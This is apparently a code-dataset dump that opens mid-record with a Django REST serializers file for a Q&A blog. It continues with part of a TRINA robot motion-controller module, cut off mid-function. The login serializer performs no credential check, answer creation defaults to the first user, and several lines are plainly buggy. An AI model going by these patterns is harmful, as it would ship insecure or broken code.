serializers.EmailField(label='Confirm Email')\n\n class Meta:\n model = User\n fields = [\n 'username',\n 'email',\n 'email2',\n 'password',\n \n ]\n extra_kwargs = {\n \"password\":{\"write_only\": True}\n }\n\n def validate(self, data):\n return data\n\n def validate_email(self, value):\n data = self.get_initial()\n email1 = data.get(\"email2\")\n email2 = value\n if email1 != email2:\n raise serializers.ValidationError(\"Emails must match.\")\n \n user_qs = User.objects.filter(email=email2)\n if user_qs.exists():\n raise serializers.ValidationError(\"This user has already registered.\")\n\n return value\n\n def validate_email2(self, value):\n data = self.get_initial()\n email1 = data.get(\"email\")\n email2 = value\n if email1 != email2:\n raise serializers.ValidationError(\"Emails must match.\")\n return value\n\n def create(self, validated_data):\n username = validated_data['username']\n email = validated_data['email']\n password = validated_data['password']\n user_obj = User(\n username = username,\n email = email\n )\n user_obj.set_password(password)\n user_obj.save()\n return validated_data\n\n\nclass UserLoginSerializer(serializers.ModelSerializer):\n token = serializers.CharField(allow_blank=True, read_only=True)\n username = serializers.CharField()\n email = serializers.EmailField(label='Email Address')\n\n class Meta:\n model = User\n fields = [\n 'username',\n 'email',\n 'password',\n 'token',\n ]\n extra_kwargs = {\n \"password\": {\"write_only\": True}\n }\n\n def validate(self, data):\n return data\n\n\n###################### Question ###########################\nclass QuestionCreateUpdateSerializer(serializers.ModelSerializer):\n class Meta:\n model = Question\n fields = (\n 'id',\n 'title',\n 'content'\n )\n\n\nquestion_detail_url = serializers.HyperlinkedIdentityField(\n view_name='question_detail',\n lookup_field='pk'\n)\n\n\nclass QuestionDetailSerializer(serializers.ModelSerializer):\n url = question_detail_url\n user = UserDetailSerializer(read_only=True)\n image = serializers.SerializerMethodField()\n answers = serializers.SerializerMethodField()\n\n class Meta:\n model = Question\n fields = (\n 'id',\n 'user',\n 'image',\n 'url',\n 'title',\n 'slug',\n 'content',\n 'answers'\n )\n\n def get_image(self, obj):\n try:\n image = obj.image.path\n except:\n image = None\n return image\n\n def get_answers(self, obj):\n a_qs = Answer.objects.filter_by_instance(obj)\n answers = AnswerSerializer(a_qs, many=True).data\n return answers\n\n\nclass QuestionListSerializer(serializers.ModelSerializer):\n url = question_detail_url\n user = UserDetailSerializer(read_only=True)\n class Meta:\n model = Question\n fields = [\n 'id',\n 'url',\n 'user',\n 'title',\n 'content',\n ]\n\n\n####################### Answer Serializers ###############################\ndef create_answer_serializer(model_type='post', pk=None, parent_id=None, user=None):\n class AnswerCreateSerializer(serializers.ModelSerializer):\n class Meta:\n model = Answer\n fields = [\n 'id',\n 'parent',\n 'content',\n 'timestamp'\n ]\n\n def __init__(self, *args, **kwargs):\n self.model_type = model_type\n self.pk = pk\n self.parent_obj = None\n if parent_id:\n parent_qs = Answer.objects.filter(id=parent_id)\n if parent_qs.exists() and parent_qs.count() == 1:\n self.parent_obj = parent_qs.first()\n return super(AnswerCreateSerializer, self).__init__(*args, **kwargs)\n\n def validate(self, data):\n model_type = self.model_type\n model_qs = ContentType.objects.filter(model=model_type)\n if not model_qs.exists() or model_qs.count() != 1:\n raise serializers.ValidationError(\"This is not a valid content type.\")\n SomeModel = model_qs.first().model_class()\n obj_qs = SomeModel.objects.filter(pk=self.pk)\n if not obj_qs.exists() or obj_qs.count() != 1:\n raise serializers.ValidationError(\"This is not a pk for this content type.\")\n return data\n\n def create(self, validated_data):\n content = validated_data.get(\"content\")\n if user:\n main_user = user\n else:\n main_user = User.objects.all().first()\n model_type = self.model_type\n pk = self.pk\n parent_obj = self.parent_obj\n answer = Answer.objects.create_by_model_type(\n model_type=model_type,\n pk=pk,\n content=content,\n user=main_user,\n parent_obj=parent_obj\n )\n return answer\n\n return AnswerCreateSerializer\n\n\nclass AnswerSerializer(serializers.ModelSerializer):\n reply_count = serializers.SerializerMethodField()\n class Meta:\n model = Answer\n fields = (\n 'id',\n 'content_type',\n 'object_id',\n 'parent',\n 'content',\n 'reply_count',\n 'timestamp'\n )\n\n def get_reply_count(self, obj):\n if obj.is_parent:\n return obj.children().count()\n return 0\n\n\nclass AnswerListSerializer(serializers.ModelSerializer):\n url = serializers.HyperlinkedIdentityField(\n view_name='answer_detail')\n reply_count = serializers.SerializerMethodField()\n class Meta:\n model = Answer\n fields = [\n 'url',\n 'id',\n 'content',\n 'reply_count',\n 'timestamp',\n ]\n \n def get_reply_count(self, obj):\n if obj.is_parent:\n return obj.children().count()\n return 0\n\n\nclass AnswerChildSerializer(serializers.ModelSerializer):\n user = UserDetailSerializer(read_only=True)\n class Meta:\n model = Answer\n fields = (\n 'id',\n 'user',\n 'content',\n 'timestamp'\n )\n\n\nclass AnswerDetailSerializer(serializers.ModelSerializer):\n user = UserDetailSerializer(read_only=True)\n url = serializers.HyperlinkedIdentityField(\n view_name='answer_detail')\n reply_count = serializers.SerializerMethodField()\n content_object_url = serializers.SerializerMethodField()\n replies = serializers.SerializerMethodField()\n class Meta:\n model = Answer\n fields = [\n 'id',\n 'user',\n 'url',\n 'content',\n 'reply_count',\n 'replies',\n 'timestamp',\n 'content_object_url',\n ]\n read_only_fields = [\n 'reply_count',\n 'replies',\n ]\n\n def get_content_object_url(self, obj):\n try:\n return obj.content_object.get_api_url()\n except:\n return None\n\n def get_replies(self, obj):\n if obj.is_parent:\n return AnswerChildSerializer(obj.children(), many=True).data\n return None\n\n def get_reply_count(self, obj):\n if obj.is_parent:\n return obj.children().count()\n return 0\n","sub_path":"blog/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":8391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"446983097","text":"import os\nimport signal\nimport sys\nimport time\nimport math\nfrom threading import Thread, Lock, RLock\nimport threading\nimport numpy as np\nfrom kinematicController import KinematicController\nimport TRINAConfig #network configs and other configs\nfrom motionStates import * #state structures\nfrom copy import deepcopy,copy\nfrom klampt.math import vectorops,so3\n# from klampt import vis\nfrom klampt.model import ik, collide\nimport numpy as np\nfrom klampt import WorldModel\nimport os\n\nimport logging\nfrom datetime import datetime\n\nif not os.path.exists('errorLogs'):\n os.makedirs('errorLogs')\nlogger = logging.getLogger(__name__)\n# Create handlers\nc_handler = logging.StreamHandler()\nfilename = \"errorLogs/logFile_\" + datetime.now().strftime('%d%m%Y') + \".log\"\nf_handler = logging.FileHandler(filename)\nc_handler.setLevel(logging.WARNING)\nf_handler.setLevel(logging.NOTSET)\n# Create formatters and add it to handlers\nc_format = logging.Formatter('%(asctime)s %(levelname)s-%(message)s',datefmt='%H:%M:%S')\nf_format = logging.Formatter('%(asctime)s %(funcName)s :%(levelname)s- %(message)s',datefmt='%H:%M:%S')\nc_handler.setFormatter(c_format)\nf_handler.setFormatter(f_format)\n# Add handlers to the logger\nlogger.addHandler(c_handler)\nlogger.addHandler(f_handler)\n\nclass Motion:\n\n def __init__(self,mode = 'Kinematic', components = ['left_limb','right_limb'], debug_logging = False, codename = 'seed'):\n \"\"\"\n This class provides a low-level controller to the TRINA robot.\n\n Parameters\n ------------\n mode: The 'Kinematic' mode starts a kinematic simlation of the robot. The 'Physical' mode interfaces with\n the robotic hardware directly.\n model_path: The TRINA robot model path.\n components: In the physical mode, we would like to have the option of starting only a subset of the components.\n It is a list of component names, including: left_limb, right_limb, base, torso (including the support legs.),\n left_gripper, right_gripper.\n \"\"\"\n self.codename = codename\n self.mode = mode\n self.model_path = \"data/TRINA_world_\" + self.codename + \".xml\"\n self.computation_model_path = \"data/TRINA_world_\" + self.codename + \".xml\"\n self.debug_logging = debug_logging\n if(self.debug_logging):\n self.logging_filename = time.time()\n self.logging_file = 'teleoperation_log/log_file_' + time.strftime('%Y')+'_'+time.strftime('%m')+'_'+time.strftime('%d')+'_'+time.strftime('%H')+'_'+time.strftime('%M')+'_'+time.strftime('%S')+'.csv'\n\n if(os.path.exists(self.logging_file)):\n pass\n else:\n with open(self.logging_file,'w') as f:\n f.write('arm|ik_time|collision_check_time|current_position|target_position|iterations|condition_number\\r\\n')\n f.close()\n\n self.log_file = open(self.logging_file,'a')\n #Klampt world and robot and used for computation\n self.world = WorldModel()\n res = self.world.readFile(self.computation_model_path)\n if not res:\n logger.error('unable to load model')\n raise RuntimeError(\"unable to load model\")\n #Initialize collision detection\n self.collider = collide.WorldCollider(self.world)\n self.robot_model = self.world.robot(0)\n #End-effector links and active dofs used for arm cartesian control and IK\n self.left_EE_link = self.robot_model.link(TRINAConfig.get_left_tool_link_N(self.codename))\n self.left_active_Dofs = TRINAConfig.get_left_active_Dofs(self.codename)\n self.right_EE_link = self.robot_model.link(TRINAConfig.get_right_tool_link_N(self.codename))\n self.right_active_Dofs = TRINAConfig.get_right_active_Dofs(self.codename)\n #UR5 arms need correct gravity vector\n self.currentGravityVector = [0,0,-9.81]\n\n #Enable some components of the robot\n self.left_limb_enabled = False\n self.right_limb_enabled = False\n self.base_enabled = False\n self.torso_enabled = False\n self.left_gripper_enabled = False\n self.right_gripper_enabled = False\n #Initialize components\n if self.mode == \"Kinematic\":\n self.left_limb_enabled = True\n self.right_limb_enabled = True\n self.base_enabled = True\n print(\"initiating Kinematic controller\")\n self.simulated_robot = KinematicController(self.model_path,codename = self.codename)\n print(\"initiated Kinematic controller\")\n\n elif self.mode == \"Physical\":\n from limbController import LimbController\n from baseController import BaseController\n from torsoController import TorsoController\n from gripperController import GripperController\n for component in components:\n if component == 'left_limb':\n self.left_limb = LimbController(TRINAConfig.left_limb_address,gripper=False,gravity = TRINAConfig.left_limb_gravity_upright,\\\n payload = TRINAConfig.left_limb_payload,tcp = TRINAConfig.left_limb_TCP)\n self.left_limb_enabled = True\n logger.debug('left limb enabled')\n elif component == 'right_limb':\n self.right_limb = LimbController(TRINAConfig.right_limb_address,gripper=False,gravity = TRINAConfig.right_limb_gravity_upright)\n self.right_limb_enabled = True\n logger.debug('right limb enabled')\n elif component == 'base':\n self.base = BaseController()\n self.base_enabled = True\n logger.debug('base enabled')\n elif component == 'torso':\n self.torso = TorsoController()\n self.torso_enabled = True\n logger.debug('torso enabled')\n elif component == 'left_gripper':\n self.left_gripper = GripperController()\n self.left_gripper_enabled = True\n logger.debug('left gripper enabled')\n elif component == 'right_gripper':\n self.right_gripper = GripperController()\n self.right_gripper_enabled = True\n logger.debug('right gripper enabled')\n else:\n logger.error('Motion: wrong component name specified')\n raise RuntimeError('Motion: wrong component name specified')\n else:\n logger.error('Wrong Mode specified')\n raise RuntimeError('Wrong Mode specified')\n\n self.left_limb_state = LimbState()\n self.right_limb_state = LimbState()\n\n self.base_state = BaseState()\n self.left_limb_state = LimbState()\n self.right_limb_state = LimbState()\n self.base_state = BaseState()\n self.torso_state = TorsoState()\n self.left_gripper_state = GripperState()\n\n self.startTime = time.time()\n #time since startup\n self.t = 0\n self.startUp = False\n #Control loop rate\n self.dt = 0.002\n #automatic mode for future\n self.automatic_mode = False\n self.stop_motion_flag = False\n self.stop_motion_sent = False\n self.shut_down_flag = False\n self.cartedian_drive_failure = False\n self._controlLoopLock = RLock()\n #signal.signal(signal.SIGINT, self.sigint_handler) # catch SIGINT (ctrl-c)\n\n def sigint_handler(self, signum, frame):\n \"\"\" Catch Ctrl+C tp shutdown the robot\n\n \"\"\"\n assert(signum == signal.SIGINT)\n logger.warning('SIGINT caught...shutting down the api!')\n print(\"SIGINT caught...shutting down the api!\")\n self.shutdown()\n\n def time(self):\n \"\"\"Time since the controller has started\n\n return:\n ---------------\n float: time since the controller has started in secs\n\n \"\"\"\n return self.t\n\n def startup(self):\n \"\"\" Starts up all the individual components and the main control thread.\n\n Each component is started sequentially. After starting, all components stay where they are and\n start updating their states immediately.\n \"\"\"\n\n if not self.startUp:\n if self.mode == \"Kinematic\":\n self.simulated_robot.start()\n elif self.mode == \"Physical\":\n if self.torso_enabled:\n self.torso.start()\n logger.info('Motion: torso started')\n print(\"Motoin: torso started\")\n if self.base_enabled:\n self.base.start()\n logger.info('Motion: base started')\n print(\"Motion: base started\")\n if self.left_limb_enabled or self.right_limb_enabled:\n if self.torso_enabled:\n #TODO read torso position\n #tilt_angle =\n pass\n else:\n tilt_angle = 0.0\n R_tilt = so3.from_axis_angle(([0,1,0],tilt_angle))\n R_local_global_left = so3.mul(R_tilt,TRINAConfig.R_local_global_upright_left)\n R_local_global_right = so3.mul(R_tilt,TRINAConfig.R_local_global_upright_right)\n #gravity_left = so3.apply(so3.inv(R_local_global_left),[0,0,-9.81])\n #gravity_right = so3.apply(so3.inv(R_local_global_right),[0,0,-9.81])\n #self.left_limb.setGravity(gravity_left)\n #self.right_limb.setGravity(gravity_right)\n if self.left_limb_enabled:\n res = self.left_limb.start()\n time.sleep(1)\n if res == False:\n #better to replace this with logger\n logger.error('left limb start failure.')\n print(\"motion.startup(): ERROR, left limb start failure.\")\n return False\n else:\n logger.info('left limb started.')\n print(\"motion.startup(): left limb started.\")\n self.left_limb_state.sensedq = self.left_limb.getConfig()[0:6]\n self.left_limb_state.senseddq = self.left_limb.getVelocity()[0:6]\n self.left_limb_state.sensedWrench =self.left_limb.getWrench()\n if self.right_limb_enabled:\n res = self.right_limb.start()\n time.sleep(1)\n if res == False:\n #better to replace this with logger\n logger.error('right limb start failure.')\n print(\"motion.startup(): ERROR, right limb start failure.\")\n return False\n else:\n logger.info('right limb started.')\n print(\"motion.startup(): right limb started.\")\n self.right_limb_state.sensedq = self.right_limb.getConfig()[0:6]\n self.right_limb_state.senseddq = self.right_limb.getVelocity()[0:6]\n self.right_limb_state.sensedWrench = self.right_limb.getWrench()\n if self.left_gripper_enabled:\n self.left_gripper.start()\n print('left gripper started')\n logger.info('left gripper started')\n if self.right_gripper_enabled:\n self.right_gripper.start()\n logger.info('right gripper started')\n\n\n controlThread = threading.Thread(target = self._controlLoop)\n controlThread.start()\n logger.info('robot started.')\n print(\"motion.startup():robot started\")\n self.startUp = True\n else:\n ##warning\n logger.warning('Already started.')\n print(\"motion.startup():Already started\")\n return self.startUp\n\n def _controlLoop(self):\n \"\"\"main control thread, synchronizing all components\n in each loop,states are updated and new commands are issued\n \"\"\"\n\n counter = 0\n self.robot_start_time = time.time()\n logger.info('controlLoop started.')\n print(\"motion.controlLoop(): controlLoop started.\")\n while not self.shut_down_flag:\n loopStartTime = time.time()\n self.t = time.time() - self.startTime\n ###lock the thread\n self._controlLoopLock.acquire()\n if self.mode == \"Physical\":\n if self.stop_motion_flag:\n if not self.stop_motion_sent: #send only once to avoid drifting...\n if self.torso_enabled:\n self.torso.stopMotion()\n if self.base_enabled:\n self.base.stopMotion()\n if self.left_limb_enabled:\n self.left_limb.stopMotion()\n if self.right_limb_enabled:\n self.right_limb.stopMotion()\n if self.left_gripper_enabled:\n self.left_gripper.stopMotion()\n if self.right_gripper_enabled:\n self.right_gripper.stopMotion()\n self.stop_motion_sent = True #unused\n else:\n #Update current state. Only read state if a new one has been posted\n if self.base_enabled and self.base.newState():\n self.base_state.measuredVel = self.base.getMeasuredVelocity()\n self.base_state.measuredPos = self.base.getPosition()\n self.base.markRead()\n\n if self.torso_enabled and self.torso.newState():\n tilt, height, _, _ = self.torso.getStates()\n self.torso_state.measuredTilt = tilt\n self.torso_state.measuredHeight = height\n self.torso.markRead()\n\n if self.left_limb_enabled and self.left_limb.newState():\n self.left_limb_state.sensedq = self.left_limb.getConfig()[0:6]\n self.left_limb_state.senseddq = self.left_limb.getVelocity()[0:6]\n self.left_limb_state.sensedWrench =self.left_limb.getWrench()\n self.left_limb.markRead()\n if self.right_limb_enabled and self.right_limb.newState():\n self.right_limb_state.sensedq = self.right_limb.getConfig()[0:6]\n self.right_limb_state.senseddq = self.right_limb.getVelocity()[0:6]\n self.right_limb_state.sensedWrench = self.right_limb.getWrench()\n self.right_limb.markRead()\n\n if self.left_gripper_enabled and self.left_gripper.newState():\n self.left_gripper_state.sense_finger_set = self.left_gripper.sense_finger_set\n self.left_gripper.mark_read()\n #Send Commands\n if self.left_limb_enabled:\n if self.left_limb_state.commandQueue:\n if self.left_limb_state.commandType == 0:\n tmp = time.time() - self.left_limb_state.commandQueueTime\n if tmp <= self.left_limb_state.commandedQueueDuration:\n self.simulated_robot.setLeftLimbConfig(vectorops.add(self.left_limb_state.commandedqQueueStart,vectorops.mul(self.left_limb_state.difference,tmp/self.left_limb_state.commandedQueueDuration)))\n else:\n self.simulated_robot.setLeftLimbConfig(vectorops.add(self.left_limb_state.commandedqQueueStart,vectorops.mul(self.left_limb_state.difference,1.0)))\n self.setLeftLimbPosition(vectorops.add(self.left_limb_state.commandedqQueueStart,vectorops.mul(self.left_limb_state.difference,1.0)))\n #### cartesian drive mode\n elif self.left_limb_state.cartesianDrive:\n flag = 1\n while flag:\n res, target_config = self._left_limb_cartesian_drive(self.left_limb_state.driveTransform)\n if res == 0:\n #res = 0 means IK has failed completely, 1 means keep trying smaller steps, 2 means success\n #set to position mode...\n self.cartesian_drive_failure = True\n self.left_limb_state.commandSent = False\n self.left_limb_state.commandedq = deepcopy(self.sensedLeftLimbPosition())\n self.left_limb_state.commandeddq = []\n self.left_limb_state.commandType = 0\n self.left_limb_state.commandQueue = False\n self.left_limb_state.commandedqQueue = []\n self.left_limb_state.cartesianDrive = False\n break\n elif res == 1:\n flag = 1\n elif res == 2:\n flag = 0\n self.left_limb.setConfig(target_config)\n\n else:\n if not self.left_limb_state.commandSent:\n ###setting position will clear velocity commands\n if self.left_limb_state.commandType == 0:\n self.left_limb.setConfig(self.left_limb_state.commandedq+[0.0])\n elif self.left_limb_state.commandType == 1:\n self.left_limb.setVelocity(self.left_limb_state.commandeddq + [0.0])\n self.left_limb_state.commandSent = True\n if self.right_limb_enabled:\n if self.right_limb_state.commandQueue:\n if self.right_limb_state.commandType == 0:\n tmp = time.time() - self.right_limb_state.commandQueueTime\n if tmp <= self.right_limb_state.commandedQueueDuration:\n self.simulated_robot.setRightLimbConfig(vectorops.add(self.right_limb_state.commandedqQueueStart,vectorops.mul(self.right_limb_state.difference,tmp/self.right_limb_state.commandedQueueDuration)))\n else:\n self.simulated_robot.setRightLimbConfig(vectorops.add(self.right_limb_state.commandedqQueueStart,vectorops.mul(self.right_limb_state.difference,1.0)))\n self.setRightLimbPosition(vectorops.add(self.right_limb_state.commandedqQueueStart,vectorops.mul(self.right_limb_state.difference,1.0)))\n elif self.right_limb_state.cartesianDrive:\n flag = 1\n while flag:\n #res = 0 means IK has failed completely, 1 means keep trying smaller steps, 2 means success\n res, target_config = self._right_limb_cartesian_drive(self.right_limb_state.driveTransform)\n if res == 0:\n #set to position mode...\n self.cartesian_drive_failure = True\n self.right_limb_state.commandSent = False\n self.right_limb_state.commandedq = deepcopy(self.sensedRightLimbPosition())\n self.right_limb_state.commandeddq = []\n self.right_limb_state.commandType = 0\n self.right_limb_state.commandQueue = False\n self.right_limb_state.commandedqQueue = []\n self.right_limb_state.cartesianDrive = False\n break\n elif res == 1:\n flag = 1\n elif res == 2:\n flag = 0\n self.simulated_robot.setRightLimbConfig(target_config)\n else:\n if not self.right_limb_state.commandSent:\n ###setting position will clear velocity commands\n if self.right_limb_state.commandType == 0:\n self.right_limb.setConfig(self.right_limb_state.commandedq+[0.0])\n elif self.right_limb_state.commandType == 1:\n self.right_limb.setVelocity(self.right_limb_state.commandeddq + [0.0])\n self.right_limb_state.commandSent = True\n\n #TODO:Base add set path later\n if self.base_enabled:\n if self.base_state.commandType == 1:\n self.base.setCommandedVelocity(self.base_state.commandedVel)\n elif self.base_state.commandType == 0 and not base_state.commandSent:\n self.base_state.commandSent = True\n self.base.setTargetPosition(self.base_state.commandedVel)\n if self.torso_enabled:\n if not self.torso_state.commandSent:\n self.torso_state.commandSent = True\n self.torso.setTargetPositions(self.torso_state.commandedHeight, self.torso_state.commandedTilt)\n\n if self.left_gripper_enabled:\n if self.left_gripper_state.commandType == 0:\n self.left_gripper.setPose(self.left_gripper_state.command_finger_set)\n elif self.left_gripper_state.commandType == 1:\n self.left_gripper.setVelocity(self.left_gripper_state.command_finger_set)\n\n if self.right_gripper_enabled:\n if self.right_gripper_state.commandType == 0:\n self.right_gripper.setPose(self.right_gripper_state.command_finger_set)\n elif self.right_gripper_state.commandType == 1:\n self.right_gripper.setVelocity(self.right_gripper_state.command_finger_set)\n #update internal robot model, does not use the base's position and orientation\n #basically assumes that the world frame is the frame centered at the base local frame, on the floor.\n robot_model_Q = TRINAConfig.get_klampt_model_q(self.codename,left_limb = self.left_limb_state.sensedq, right_limb = self.right_limb_state.sensedq)\n #robot_model_Q = [0]*3 + [0]*7 +self.left_limb_state.sensedq+[0]*4+self.right_limb_state.sensedq+[0]*2\n self.robot_model.setConfig(robot_model_Q)\n\n elif self.mode == \"Kinematic\":\n if self.stop_motion_flag:\n self.simulated_robot.stopMotion()\n else:\n if self.simulated_robot.newState():\n self.left_limb_state.sensedq = self.simulated_robot.getLeftLimbConfig()[0:6]\n self.left_limb_state.senseddq = self.simulated_robot.getLeftLimbVelocity()[0:6]\n self.left_limb_state.sensedWrench = []\n self.right_limb_state.sensedq = self.simulated_robot.getRightLimbConfig()[0:6]\n self.right_limb_state.senseddq = self.simulated_robot.getRightLimbVelocity()[0:6]\n self.right_limb_state.sensedWrench = []\n self.base_state.measuredVel = self.simulated_robot.getBaseVelocity()\n self.base_state.measuredPos = self.simulated_robot.getBaseConfig()\n #self.left_gripper_state.sense_finger_set = selfprint(\"motion.controlLoop(): controlLoop started.\")\n\n ###left limb\n if self.left_limb_state.commandQueue:\n if self.left_limb_state.commandType == 0:\n tmp = time.time() - self.left_limb_state.commandQueueTime\n if tmp <= self.left_limb_state.commandedQueueDuration:\n self.simulated_robot.setLeftLimbConfig(vectorops.add(self.left_limb_state.commandedqQueueStart,vectorops.mul(self.left_limb_state.difference,tmp/self.left_limb_state.commandedQueueDuration)))\n else:\n self.simulated_robot.setLeftLimbConfig(vectorops.add(self.left_limb_state.commandedqQueueStart,vectorops.mul(self.left_limb_state.difference,1.0)))\n self.setLeftLimbPosition(vectorops.add(self.left_limb_state.commandedqQueueStart,vectorops.mul(self.left_limb_state.difference,1.0)))\n\n #elif self.left_limb_state.commandType == 1:\n # if len(self.left_limb_state.commandeddqQueue) > 0:\n # #if ((time.time() - self.left_limb_state.lastCommandQueueTime) > TRINAConfig.simulated_robot_control_rate):\n # self.simulated_robot.setLeftLimbVelocity(self.left_limb_state.commandeddqQueue.pop(0))\n # #self.left_limb_state.lastCommandQueueTime = time.time()\n\n\n #### cartesian drive mode\n elif self.left_limb_state.cartesianDrive:\n #clock1 = time.time()\n flag = 1\n while flag:\n res, target_config = self._left_limb_cartesian_drive(self.left_limb_state.driveTransform)\n if res == 0:\n #set to position mode...\n self.cartesian_drive_failure = True\n self.left_limb_state.commandSent = False\n self.left_limb_state.commandedq = deepcopy(self.sensedLeftLimbPosition())\n self.left_limb_state.commandeddq = []\n self.left_limb_state.commandType = 0\n self.left_limb_state.commandQueue = False\n self.left_limb_state.difference = []\n self.left_limb_state.commandedqQueueStart = []\n self.left_limb_state.commandQueueTime = 0.0\n self.left_limb_state.commandedQueueDuration = 0.0\n self.left_limb_state.cartesianDrive = False\n break\n elif res == 1:\n flag = 1\n elif res == 2:\n flag = 0\n self.simulated_robot.setLeftLimbConfig(target_config)\n\n\n else:\n if not self.left_limb_state.commandSent:\n ###setting position will clear velocity commands\n if self.left_limb_state.commandType == 0:\n self.simulated_robot.setLeftLimbConfig(self.left_limb_state.commandedq)\n elif self.left_limb_state.commandType == 1:\n self.simulated_robot.setLeftLimbVelocity(self.left_limb_state.commandeddq)\n self.left_limb_state.commandSent = True\n\n ##right limb\n if self.right_limb_state.commandQueue:\n if self.right_limb_state.commandType == 0:\n tmp = time.time() - self.right_limb_state.commandQueueTime\n if tmp <= self.right_limb_state.commandedQueueDuration:\n self.simulated_robot.setRightLimbConfig(vectorops.add(self.right_limb_state.commandedqQueueStart,vectorops.mul(self.right_limb_state.difference,tmp/self.right_limb_state.commandedQueueDuration)))\n else:\n self.simulated_robot.setRightLimbConfig(vectorops.add(self.right_limb_state.commandedqQueueStart,vectorops.mul(self.right_limb_state.difference,1.0)))\n self.setRightLimbPosition(vectorops.add(self.right_limb_state.commandedqQueueStart,vectorops.mul(self.right_limb_state.difference,1.0)))\n\n elif self.right_limb_state.cartesianDrive:\n flag = 1\n while flag:\n #res = 0 means IK has failed completely, 1 means keep trying smaller steps, 2 means success\n res, target_config = self._right_limb_cartesian_drive(self.right_limb_state.driveTransform)\n if res == 0:\n #set to position mode...\n self.cartesian_drive_failure = True\n self.right_limb_state.commandSent = False\n self.right_limb_state.commandedq = deepcopy(self.sensedRightLimbPosition())\n self.right_limb_state.commandeddq = []\n self.right_limb_state.commandType = 0\n self.right_limb_state.commandQueue = False\n self.right_limb_state.difference = []\n self.right_limb_state.commandedqQueueStart = []\n self.right_limb_state.commandQueueTime = 0.0\n self.right_limb_state.commandedQueueDuration = 0.0\n self.right_limb_state.cartesianDrive = False\n break\n elif res == 1:\n flag = 1\n elif res == 2:\n flag = 0\n self.simulated_robot.setRightLimbConfig(target_config)\n else:\n if not self.right_limb_state.commandSent:\n ###setting position will clear velocity commands\n if self.right_limb_state.commandType == 0:\n self.simulated_robot.setRightLimbConfig(self.right_limb_state.commandedq)\n elif self.right_limb_state.commandType == 1:\n self.simulated_robot.setRightLimbVelocity(self.right_limb_state.commandeddq)\n self.right_limb_state.commandSent = True\n\n if self.base_state.commandType == 1:\n self.simulated_robot.setBaseVelocity(self.base_state.commandedVel)\n elif self.base_state.commandType == 0 and not base_state.commandSent:\n base_state.commandSent = True\n self.base.setTargetPosition(self.base_state.commandedVel)\n\n ##gripper\n self.simulated_robot.setLeftGripperPosition(self.left_gripper_state.command_finger_set)\n robot_model_Q = TRINAConfig.get_klampt_model_q(self.codename,left_limb = self.left_limb_state.sensedq, right_limb = self.right_limb_state.sensedq)\n self.robot_model.setConfig(robot_model_Q)\n self._controlLoopLock.release()\n elapsedTime = time.time() - loopStartTime\n self.t = time.time() - self.startTime\n if elapsedTime < self.dt:\n time.sleep(self.dt-elapsedTime)\n else:\n pass\n #print(\"Elapsed Time:\", time.time() - loopStartTime)\n logger.info('controlThread exited.')\n print(\"motion.controlThread: exited\")\n\n #TODO: finish setting the entire robot\n def setPosition(self,q):\n \"\"\"set the position of the entire robot\n\n Parameter:\n ---------------\n q: a merged list of joint positions, in the order of torso,base,left limb, right limb, left gripper...\n \"\"\"\n #assert len(q) == 12, \"motion.setPosition(): Wrong number of dimensions of config sent\"\n #self.setLeftLimbPosition(q[0:6])\n #self.setRightLimbPosition(q[6:12])\n pass\n return\n def setLeftLimbPosition(self,q):\n \"\"\"Set the left limb joint positions, and the limb moves as fast as possible\n\n This will clear the motion queue.\n\n Parameter:\n --------------\n q: a list of 6 doubles. The desired joint positions.\n \"\"\"\n logger.debug('number of joint positions sent : %d', len(q))\n assert len(q) == 6, \"motion.setLeftLimbPosition(): Wrong number of joint positions sent\"('controlThread exited.')\n if self.left_limb_enabled:\n self._controlLoopLock.acquire()\n self._check_collision_linear_adaptive(self.robot_model,self._get_klampt_q(left_limb = self.left_limb_state.sensedq),self._get_klampt_q(left_limb = q))\n self.left_limb_state.commandSent = False\n self.left_limb_state.commandedq = deepcopy(q)\n self.left_limb_state.commandeddq = []\n self.left_limb_state.commandType = 0\n self.left_limb_state.commandQueue = False\n self.left_limb_state.difference = []\n self.left_limb_state.commandedqQueueStart = []\n self.left_limb_state.commandQueueTime = 0.0\n self.left_limb_state.commandedQueueDuration = 0.0\n self.left_limb_state.cartesianDrive = False\n self._controlLoopLock.release()\n else:\n logger.warning('Left limb not enabled')\n print(\"motion.setLeftLimbPosition():Left limb not enabled\")\n return\n\n def setRightLimbPosition(self,q):\n \"\"\"Set the right limb joint positions, and the limb moves as fast as possible\n\n This will clear the motion queue.\n\n Parameter:\n --------------\n q: a list of 6 doubles. The desired joint positions.\n \"\"\"\n logger.debug('number of joint positions sent : %d', len(q))\n assert len(q) == 6, \"motion.setLeftLimbPosition(): Wrong number of joint positions sent\"\n if self.right_limb_enabled:\n self._controlLoopLock.acquire()\n self._check_collision_linear_adaptive(self.robot_model,self._get_klampt_q(right_limb = self.right_limb_state.sensedq),self._get_klampt_q(right_limb = q))\n self.right_limb_state.commandSent = False\n self.right_limb_state.commandedq = deepcopy(q)\n self.right_limb_state.commandeddq = []\n self.right_limb_state.commandType = 0\n self.right_limb_state.commandQueue = False\n self.right_limb_state.difference = []\n self.right_limb_state.commandedqQueueStart = []\n self.right_limb_state.commandQueueTime = 0.0\n self.right_limb_state.commandedQueueDuration = 0.0\n self.right_limb_state.cartesianDrive = False\n self._controlLoopLock.release()\n else:\n logger.warning('Right limb not enabled')\n print(\"motion.setRightLimbPosition():Right limb not enabled\")\n return\n\n def setLeftLimbPositionLinear(self,q,duration):\n \"\"\"Set Left limb to moves to a configuration in a certain amount of time at constant speed\n\n Set a motion queue, this will clear the setPosition() commands\n\n Parameters:\n ----------------\n q: a list of 6 doubles. The desired joint positions.\n duration: double. The desired duration.\n \"\"\"\n logger.debug('number of joint positions sent : %d and duration is %d', len(q), duration)\n assert len(q) == 6, \"motion.setLeftLimbPositionLinear(): Wrong number of joint positions sent\"\n assert duration > 0, \"motion.setLeftLimbPositionLinear(): Duration needs to be a positive number\"\n print(q)\n #TODO:add velocity check. Maybe not be able to complete the motion within the duration\"\n #TODO:Also collision checks\n if self.left_limb_enabled:\n self._controlLoopLock.acquire()\n self._check_collision_linear_adaptive(self.robot_model,self._get_klampt_q(left_limb = self.left_limb_state.sensedq),self._get_klampt_q(left_limb = q))\n #planningTime = 0.0 + TRINAConfig.ur5e_control_rate\n #positionQueue = []\n #currentq = self.left_limb_state.sensedq\n #difference = vectorops.sub(q,currentq)\n #while planningTime < duration:\n # positionQueue.append(vectorops.add(currentq,vectorops.mul(difference,planningTime/duration)))\n # planningTime = 